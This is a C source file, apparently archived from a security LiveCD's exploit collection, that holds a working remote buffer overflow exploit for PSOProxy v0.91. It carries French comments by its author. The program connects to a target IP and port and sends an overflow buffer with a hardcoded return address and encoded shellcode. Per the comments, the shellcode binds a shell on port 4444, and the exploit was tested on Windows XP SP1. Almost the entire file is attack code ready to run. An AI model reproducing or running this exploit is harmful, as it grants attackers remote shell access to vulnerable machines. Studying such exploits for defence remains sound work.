home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / psoproxy / pso-exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  140 lines

  1. /*
  2. **  Voici mon 1er exploit, il traite d'une faille dans le programme PSOProxy v0.91
  3. **  Il s'agit d'un buffer overflow type et facile a faire (c pour <E7>a que j'ai r<E9>ussi ^^)
  4. **
  5. **  Pour des infos tecniques aller ici : http://seclists.org/lists/bugtraq/2004/Feb/0567.html
  6. **
  7. **  Sinon l'exploit consiste en : 1. on ce connecte au pc distnant
  8. **                                2. on envoit le code malicieux
  9. **                                                                3. un shell souvre sur le port 4444
  10. **  Teste sous xp sp1.
  11. **
  12. **
  13. **  Merci a Vendame qui m'as d<E9>bloqu<E9> et a CRPT.
  14. **
  15. **      Merci aussi a ceux qui font pas chier et qui se prenne pas pour dieux.
  16. **
  17. **      ps : prochaine version bientot disponible.
  18. **  ps2 : j'ai bien comment<E9> le code pour que ceux qui veulent apprendre apprennent
  19. **  ps3 : Je ne cherche qu'<E0> m'am<E9>lior<E9>, alors si vous avez des sugestions, des modifications,
  20. **        je suis la pour les recevoir :).
  21. **
  22. **                     Coded By PaLbOsA
  23. */
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31. #include <stdlib.h>
  32. #include <stdio.h>
  33. #include <winsock2.h>
  34. #include <windows.h>
  35.  
  36. #pragma comment(lib, "ws2_32.lib")
  37. void intro(){
  38.            printf("***************************************************\n");
  39.            printf("*  PSOProxy v0.91 Exploit                         *\n");
  40.            printf("*                            Coded By PaLbOsA     *\n");
  41.            printf("*                                                 *\n");
  42.            printf("* C mon premier exploit, alors soyez indulgent :) *\n");
  43.            printf("*                                                 *\n");
  44.            printf("*    Un grand Merci a vendame et a CRPT.          *\n");
  45.            printf("***************************************************\n");
  46. }
  47.  
  48. void main(int argc, char *argv[])
  49. {
  50.  
  51. char buffer[3000]; // on prend un bon gros buffer :>
  52.  
  53. char ip[30]; // a ton avis?
  54.  
  55. char shellcode[]= // Ouvre le port 4444 en <E9>coute
  56.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  57.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  58.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  59.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  60.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  61.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  62.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  63.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  64.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  65.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  66.     "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
  67.     "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
  68.     "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
  69.     "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
  70.     "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
  71.     "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
  72.     "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
  73.     "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
  74.     "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
  75.     "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
  76.     "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
  77.     "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
  78.     "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
  79.     "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
  80.     "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
  81.     "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
  82.     "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
  83.     "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
  84.     "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
  85.     "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
  86.     "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
  87.     "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
  88.     "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
  89.     "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
  90.     "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
  91.     "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
  92.     "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
  93.     "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
  94.     "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
  95.     "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
  96.     "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
  97.     "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
  98.  
  99.  
  100. WSADATA WSAData; // On initialise une variable du type WSDATA
  101. SOCKET sock; // on initialise une variable de type sock --> le socket :)
  102. SOCKADDR_IN sinf; // variable qui contien les infos teckniques du socket
  103.  
  104. system("cls"); // on efface l'<E9>cran pour faire joli
  105. intro();
  106.  
  107. if(argc!=3) {
  108. printf("\nUsage : %s <ip> <port>\n",argv[0]);
  109. exit(-1);
  110. }
  111.  
  112.  
  113. _snprintf(ip, 24, "%s", argv[1]);
  114.  
  115.  
  116. WSAStartup(MAKEWORD(2,0), &WSAData); // on startup :-)
  117. sinf.sin_addr.s_addr    = inet_addr(ip);                         //  IP :)
  118. sinf.sin_family         = AF_INET;                       // "Famille du socket"
  119. sinf.sin_port           = htons(atoi(argv[2]));          //  PORT ! oooooh :>
  120. sock = socket(AF_INET,SOCK_STREAM,0);                //  Cr<E9>ation du socket en temps que tel
  121.  
  122. bind(sock, (SOCKADDR *)&sinf, sizeof(sinf));         // On attache le socket a l'adresse et le port qu'on a d<E9>fini
  123. connect(sock, (SOCKADDR *)&sinf, sizeof(sinf));
  124.  
  125. sprintf(buffer,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  126. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  127. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  128. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  129. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  130. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  131. AAAAAAAA\x0F\x98\xF8\x77%s\r\n",shellcode);// 77F8980F \x0F\x98\xF8\x77
  132.  
  133. send(sock,buffer,3000,0);
  134. printf("  Exploit envoye... tester le port 4444\n\n");
  135. closesocket(sock);
  136. WSACleanup();
  137.  
  138. }
  139.  
  140.